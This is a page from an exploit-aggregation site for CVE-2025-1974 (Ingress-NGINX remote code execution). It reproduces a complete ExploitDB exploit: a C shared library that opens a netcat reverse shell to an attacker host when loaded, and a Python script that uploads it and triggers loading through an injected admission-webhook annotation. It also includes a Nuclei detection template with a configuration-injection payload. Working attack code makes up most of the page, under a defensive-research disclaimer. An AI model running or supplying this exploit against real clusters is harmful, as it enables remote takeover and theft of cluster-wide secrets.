Skip to content
Appaloosa Scout
Language selector
fr en

Materialized exploit

CVE-2025-1974

CRITICAL

3 public exploit(s) for this CVE, 2 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB remote multiple Verified
Source

Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)

By Likhith Appalaneni

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974

1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c

2) Run the exploit:
python3 exploit.py

The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.

<---> shell.c <--->

#include <stdlib.h>
__attribute__((constructor)) void init() {
   system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
}

<---> shell.c <--->
<---> exploit.py <--->

import json
import requests
import threading
import time
import urllib3
import socket
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def upload_shell_via_socket(file_path, target_host, target_port):
    print("[*] Uploading shell.so via raw socket to keep FD open...")
    try:
        with open(file_path, "rb") as f:
            data = f.read()
        data += b"\x00" * (16384 - len(data) % 16384)
        content_len = len(data) + 2024

        payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_host, target_port))
        sock.sendall(payload)
        print("[*] Payload sent, holding connection open for 220s...")
        time.sleep(220)
        sock.close()
    except Exception as e:
        print(f"[!] Upload failed: {e}")

def build_payload(pid, fd):
    annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
    return {
        "kind": "AdmissionReview",
        "apiVersion": "admission.k8s.io/v1",
        "request": {
            "uid": "exploit-uid",
            "kind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "resource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "requestKind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "requestResource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "name": "example-ingress",
            "operation": "CREATE",
            "userInfo": {
                "username": "kube-review",
                "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
            },
            "object": {
                "kind": "Ingress",
                "apiVersion": "networking.k8s.io/v1",
                "metadata": {
                    "name": "example-ingress",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/auth-url": annotation
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [
                        {
                            "host": "hello-world.com",
                            "http": {
                                "paths": [
                                    {
                                        "path": "/",
                                        "pathType": "Prefix",
                                        "backend": {
                                            "service": {
                                                "name": "web",
                                                "port": { "number": 8080 }
                                            }
                                        }
                                    }
                                ]
                            }
                        }
                    ]
                }
            },
            "oldObject": None,
            "dryRun": False,
            "options": {
                "kind": "CreateOptions",
                "apiVersion": "meta.k8s.io/v1"
            }
        }
    }

def send_requests(admission_url, pid_range, fd_range):
    for pid in range(pid_range[0], pid_range[1]):
        for fd in range(fd_range[0], fd_range[1]):
            print(f"Trying /proc/{pid}/fd/{fd}")
            payload = build_payload(pid, fd)
            try:
                resp = requests.post(
                    f"{admission_url}/networking/v1/ingresses",
                    headers={"Content-Type": "application/json"},
                    data=json.dumps(payload),
                    verify=False,
                    timeout=5
                )
                result = resp.json()
                msg = result.get("response", {}).get("status", {}).get("message", "")
                if "No such file" in msg or "Permission denied" in msg:
                    continue
                print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
    parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
    parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
    parser.add_argument("--pid-start", type=int, default=26)
    parser.add_argument("--pid-end", type=int, default=30)
    parser.add_argument("--fd-start", type=int, default=1)
    parser.add_argument("--fd-end", type=int, default=100)
    args = parser.parse_args()

    host = args.upload_url.split("://")[-1].split(":")[0]
    port = int(args.upload_url.split(":")[-1])

    upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
    upload_thread.start()
    time.sleep(3)
    send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
    upload_thread.join()

<---> exploit.py <--->
Nuclei critical Verified
Source

Ingress-Nginx Controller - Remote Code Execution

By projectdiscovery

How to test this exploit

The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.

nuclei -id CVE-2025-1974 -u https://your-target

Template yaml

id: CVE-2025-1974

info:
  name: Ingress-Nginx Controller - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch,UNC1739
  severity: critical
  description: |
    A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
    - https://https://github.com/kubernetes/kubernetes/issues/131009
    - https://github.com/eeeeeeeeee-code/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-1974
    cwe-id: CWE-653
    epss-score: 0.99525
    epss-percentile: 0.99943
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "{{string}}",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-{{randstr}}",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {
              "uid": "{{string}}"
            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-{{randstr}}",
                "namespace": "default",
                "creationTimestamp": null,
                "uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
                "annotations": {
                  "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "test.example.com",
                    "http": {
                      "paths": [
                        {
                          "path": "/",
                          "pathType": "Prefix",
                          "backend": {
                            "service": {
                              "name": "kubernetes",
                              "port": {
                                "number": 443
                              }
                            }
                          }
                        }
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }
    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'load_module'
          - 'directive is specified too late'
        condition: and
# digest: 4b0a00483046022100849ec13aeb683e948ceb2c585790928b692b96d73fce9eb7d4fa9bd7ae52d825022100cca99a5184ba05e92658d5dc572d9f87b3117e7c6a461c50b023349441386b1c:922c64590222798bb761d5b6d8e72950
ExploitDB remote multiple
Source

Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE

By Beatriz Fresno Naumova

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code

Content not materialized yet (fetched on the next cycle).

View at source